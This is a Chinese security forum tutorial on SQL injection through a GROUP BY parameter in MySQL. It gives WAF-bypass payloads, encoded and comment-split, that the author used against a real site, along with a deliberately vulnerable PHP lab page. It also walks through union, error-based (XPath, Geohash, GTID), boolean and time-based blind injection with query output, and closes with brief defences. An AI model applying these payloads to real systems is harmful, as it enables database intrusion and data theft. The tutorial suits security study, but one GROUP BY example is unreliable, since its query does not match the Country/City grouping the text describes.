本篇文章作者Xavier,本文属i春秋原创奖励计划,首发于i春秋论坛,未经许可禁止转载。
原文地址:https://bbs.ichunqiu.com/thread-63490-1-1.html
Group by 简介
GROUP BY
语句将具有相同值的行分组为汇总行,例如"查找每个地区的客户数量"。
GROUP BY
语句通常与聚合函数(COUNT()
、MAX()
, MIN()
, SUM()
, AVG()
) 按一列或多列对结果集进行分组。
GROUP BY 语法
1
2
3
4
5
6
7
|
SELECT column_name, function(column_name)
FROM table_name
WHERE column_name operator value
GROUP BY column_name
HAVING condition
ORDER BY column_name
LIMIT num;
|
在GROUP BY
子句中,列出了要用于分组的列名。查询结果将根据这些列的值进行分组,具有相同值的行将被归为一组。然后,对于每个组,可以使用聚合函数来计算汇总值。
使用场景
1)查询每个顾客的订单总额
例如,假设有一个Orders
表包含以下列:OrderID
、CustomerID
、OrderDate
和TotalAmount
。我们可以使用GROUP BY
语句按CustomerID
对订单进行分组,并计算每个客户的订单总金额:
1
2
3
|
SELECT CustomerID, SUM(TotalAmount) AS TotalSum
FROM Orders
GROUP BY CustomerID;
|
以上查询将返回每个客户的CustomerID
和对应的订单总金额TotalSum
。
需要注意的是,使用GROUP BY
语句时,SELECT
子句中的列必须是分组列或聚合函数的结果列。如果在SELECT
子句中引用了其他列,则这些列必须在GROUP BY
子句中列出。
GROUP BY
语句可以用于多个列的组合分组,例如:
1
2
3
|
SELECT CustomerID, SUM(TotalAmount) AS TotalSum
FROM Orders
GROUP BY CustomerID;
|
以上查询将按Country
和City
两列进行分组,并计算每个组的记录数。
总之,GROUP BY
语句在SQL中用于按照指定的列对结果进行分组,并进行聚合计算,以便更好地理解和分析数据。
2)统计员工数量最多的5个部门
统计每个部门的员工数量,并按照员工数量降序排序,只返回前5个部门:
1
2
3
4
5
|
SELECT department, COUNT(*) as total_employees
FROM employees
GROUP BY department
ORDER BY total_employees DESC
LIMIT 5;
|
3)统计不同部门的员工总数和平均薪资
查询不同部门的员工总数和平均工资,并将结果合并:
1
2
3
4
5
|
SELECT department, COUNT(*) as total_employees, AVG(salary) as avg_salary
FROM employees
GROUP BY department
UNION SELECT 'Overall', COUNT(*), AVG(salary)
FROM employees;
|
GROUP BY 注入
上面给了几个group by的使用场景,GROUP BY
子句后面的参数是用于指定列名或表达式,以对结果进行分组。这些参数通常是SQL查询的一部分,与order by 一样,无法直接预编译,因此也容易出现SQL注入。
只不过相比于order by位置点的注入,group by位置点更少见一些。
案例
最近帮朋友看了个注入点,是一个Groupby注入点
1
|
/api?pageSize=-1&groupBy=id
|
在groupby参数的id加上单引号,引起报错,泄露SQL语句
可以看到这里的group by 是存在拼接的,这个id是可控的,很明显是一个注入点。
把SQL语句简化以下就是:
1
|
select 1,2,3...,17 from table were table.a is null group by table.id
|
这其中的id是可控的,传进去就会与table.进行拼接,像这个group by位置的注入点,我很少有见到。
先说结果,注出来了,有waf,最后的几种payload:
1
2
3
4
5
6
|
# 转换成order by,利用rand()进行条件布尔注入:id order by rand(substr(version(),1,1)='8'),url编码绕过waf
id+order+by+rand(%73%75%62%73%74%72%28%76%65%72%73%69%6f%6e%28%29,1,1)='8')
# 报错注入,id and extractvalue(0x5c,concat(1,(select version())))
id/**/and/**/extractvalue(0x5c,concat('~',/*!60000select*//**/version()))
# 报错注入,
id/**/and/**/updatexml(1,concat(0x7e,(/*!12345select*//**/version()),0x7e),1)
|
布尔注入的顺序会不同,得出版本:
这里我字符加少了,只加了数字0-9,字母a-f,和符号.号,但版本的话大部分情况下数字0-9,加上符号点号.,够用了。如果是数据库名的话,想要全一点就是大小写字母+数字+短杠和下划线。
报错注入截图:
extractvalue语句:
updatexml语句:
本地环境
因为group by后面的注入点之前没怎么遇到过,这次就顺便研究下,在本地数据库mysql下进行测试。
改了下sqli-labs做案例,新建了一个less,代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);
if(isset($_GET['groupby']))
{
$groupby=$_GET['groupby'];
$sql="select * from users where username like 'admin%' group by $groupby ";
#$sql="select * from users where username like 'admin%' group by user.$groupby ";
$result=mysql_query($sql);
echo $sql.'<br>';
if($result){
$rows = mysql_num_rows($result);
echo '查询结果共有'.$rows.'条记录<br>';
echo "<table>
<tr>
<th>序号</th>
<th>姓名</th>
<th>密码</th>
<tr>";
if($rows>0){
$count = 1;
while($row = mysql_fetch_assoc($result)){
echo "<tr>
<td>".$row['id']."</td>
<td>".$row['username']."</td>
<td>".$row['password']."</td>
</tr>";
}
$count++;
}
echo "</table>";
}else {
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
|
下面演示用到了两个数据表。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
# sqli-labs 数据库,版本5.7.26
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.02 sec)
# 自建数据库,版本8.0.31
mysql> select * from users;
+----+-------+----------+------+-----------+
| id | name | pass | age | area |
+----+-------+----------+------+-----------+
| 1 | test1 | 123456 | 18 | beijing |
| 2 | test2 | 543210 | 20 | shanghai |
| 3 | user1 | qwer1234 | 28 | guangzhou |
+----+-------+----------+------+-----------+
3 rows in set (0.01 sec)
|
获取字段数
group by 后面加数字就能进行字段数的枚举,当数字大于字段数时,就会产生如下报错:
1
2
3
4
5
6
7
8
9
10
11
|
# mysql 8.0.31
mysql> select * from users where id=2 group by 5;
+----+-------+--------+------+----------+
| id | name | pass | age | area |
+----+-------+--------+------+----------+
| 2 | test2 | 543210 | 20 | shanghai |
+----+-------+--------+------+----------+
1 row in set (0.02 sec)
mysql> select * from users where id=2 group by 6;
ERROR 1054 (42S22): Unknown column '6' in 'group statement'
|
还有一种报错情况,如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
# mysql 5.7.26
mysql> select * from users where username like 'admin%' group by 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
+----+----------+----------+
5 rows in set (0.00 sec)
mysql> select * from users where username like 'admin%' group by 2;
ERROR 1055 (42000): Expression #1 of SELECT list is not in GROUP BY clause and contains nonaggregated column 'security.users.id' which is not functionally dependent on columns in GROUP BY clause; this is incompatible with sql_mode=only_full_group_by
mysql> select * from users where username like 'admin%' group by 3;
ERROR 1055 (42000): Expression #1 of SELECT list is not in GROUP BY clause and contains nonaggregated column 'security.users.id' which is not functionally dependent on columns in GROUP BY clause; this is incompatible with sql_mode=only_full_group_by
mysql> select * from users where username like 'admin%' group by 4;
ERROR 1054 (42S22): Unknown column '4' in 'group statement'
mysql>
|
这个错误提示是由于MySQL的sql_mode
配置中启用了only_full_group_by
模式,它要求在使用GROUP BY
子句时,SELECT列表中的非聚合列必须包含在GROUP BY子句中。
上述案例中id是非聚合列,所以必须要带上,如下:
还有一种情况, group by后面的参数只能控制一部分,比如如下sql语句:
1
2
|
$sql="select * from users where username like 'admin%' group by user.$groupby ";
$result=mysql_query($sql);
|
像案例中就是这种情况,这种情况下获取列名只能先闭合前面的列名,然后遍历第二位的数字,如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
mysql> select * from users where username like 'admin%' group by users.id,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
+----+----------+----------+
5 rows in set (0.00 sec)
mysql> select * from users where username like 'admin%' group by users.id,4;
ERROR 1054 (42S22): Unknown column '4' in 'group statement'
|
联合查询
接下来看下联合查询的情况
众所周知,Where 后的注入点可以用 union select 联合查询,并且能控制回显位置。那么group by呢?
Group by 后面可以接union select,但无法控制回显位置。
但但是,group by用于分类查询,limit语句只能放在后面位置,可以通过注释符注释掉它。
例如,我们需要查询前3个用户名为admin开头的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
mysql> select * from users where username like 'admin%' group by id limit 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
+----+----------+----------+
3 rows in set (0.01 sec)
mysql> select * from users where username like 'admin%' group by id union select 1,2,3; -- limit 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 1 | 2 | 3 |
+----+----------+----------+
6 rows in set (0.01 sec)
|
修改PHP SQL查询语句:
1
2
|
$sql="select * from users where username like 'admin%' group by $groupby limit 3";
$result=mysql_query($sql);
|
试着在group by后面拼接union select成功:
Payload:groupby=id union select 1,user(),version()
报错注入
报错注入也简单,直接在group by后续位置插入报错语句即可:
XPath报错
1
2
3
4
5
6
|
mysql> select * from users group by 1,(extractvalue(1,concat('~',(select version()))));
ERROR 1105 (HY000): XPATH syntax error: '~8.0.31'
mysql>
mysql> select * from users group by 1, (updatexml(1,concat(0x7e,(select version()),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: '~8.0.31~'
mysql>
|
Geohash报错
Geohash报错在5.7.26上成功了,但是在8.0.31上失败了
1
2
3
4
5
6
7
8
|
# mysql 5.7.26
mysql> select * from users where username like 'admin%' group by users.id,1,(ST_LongFromGeoHash((select version())));
ERROR 1411 (HY000): Incorrect geohash value: '5.7.26' for function ST_LONGFROMGEOHASH
mysql> select * from users where username like 'admin%' group by users.id,1,(ST_PointFromGeoHash((select version()),1));
ERROR 1411 (HY000): Incorrect geohash value: '5.7.26' for function st_pointfromgeohash
mysql> select * from users where username like 'admin%' group by users.id,1,(ST_LatFromGeoHash((select version())));
ERROR 1411 (HY000): Incorrect geohash value: '5.7.26' for function ST_LATFROMGEOHASH
mysql>
|
1
2
3
4
5
6
7
8
|
# mysql 8.0.31 失败
mysql> select * from users where id=2 group by 1,(ST_LongFromGeoHash((select version())));
+----+-------+--------+------+----------+
| id | name | pass | age | area |
+----+-------+--------+------+----------+
| 2 | test2 | 543210 | 20 | shanghai |
+----+-------+--------+------+----------+
1 row in set (0.01 sec)
|
GTID报错
mysql 5.7.26上成功了
1
2
3
4
5
|
# mysql 5.7.26
mysql> select * from users where username like 'admin%' group by users.id,(gtid_subtract(version(),1));
ERROR 1772 (HY000): Malformed GTID set specification '5.7.26'.
mysql> select * from users where username like 'admin%' group by users.id,(gtid_subset(version(),1));
ERROR 1772 (HY000): Malformed GTID set specification '5.7.26'.
|
mysql 8.0.31失败
布尔盲注
布尔盲注这块,没想到其他办法,一种是利用union select
另一种是利用order by 的布尔盲注实现。
1
|
id order by rand(substr(version(),1,1)='8')
|
因为group by后面可以接order by,所以适用于order by注入点的方法都可以用。
时间盲注
时间盲注想到的办法也是union select 和 order by,但是需要注意的是 order by会根据数据记录数把延时放大,比如sleep 1秒,有3条记录,则总共延时 3秒。
1
2
3
4
5
6
7
8
9
|
mysql> select * from users group by 1 order by sleep(1);
+----+-------+----------+------+-----------+
| id | name | pass | age | area |
+----+-------+----------+------+-----------+
| 1 | test1 | 123456 | 18 | beijing |
| 2 | test2 | 543210 | 20 | shanghai |
| 3 | user1 | qwer1234 | 28 | guangzhou |
+----+-------+----------+------+-----------+
3 rows in set (3.01 sec)
|
所以这种方法不推荐使用,尤其是查询大型数据库。
总结
要防止SQL注入攻击,建议采取以下措施:
- 使用参数绑定或预编译语句:使用参数化查询或预编译语句,将用户提供的输入作为参数传递给SQL查询,而不是将其直接拼接到查询字符串中。这样可以防止恶意输入被解释为SQL代码。
- 输入验证和过滤:对于动态生成的列名或表达式,确保对用户输入进行严格的验证和过滤,只允许合法的值和字符,避免将恶意输入传递给SQL查询。
- 最小权限原则:在数据库的访问控制上,确保应用程序使用的数据库账户具有最小的权限,仅限于执行必要的操作,以减少潜在的攻击面。
对于无法直接进行预编译的内容,需要在代码层进行过滤和处理,比如可以通过映射的方式将前端接收的参数值匹配到后端相应的值,再传入SQL进行操作,从而避免将恶意输入传递给SQL查询。
以上就是本次分享全部内容,如有纰漏,欢迎各位大佬交流指正。
微信扫一扫,关注该公众号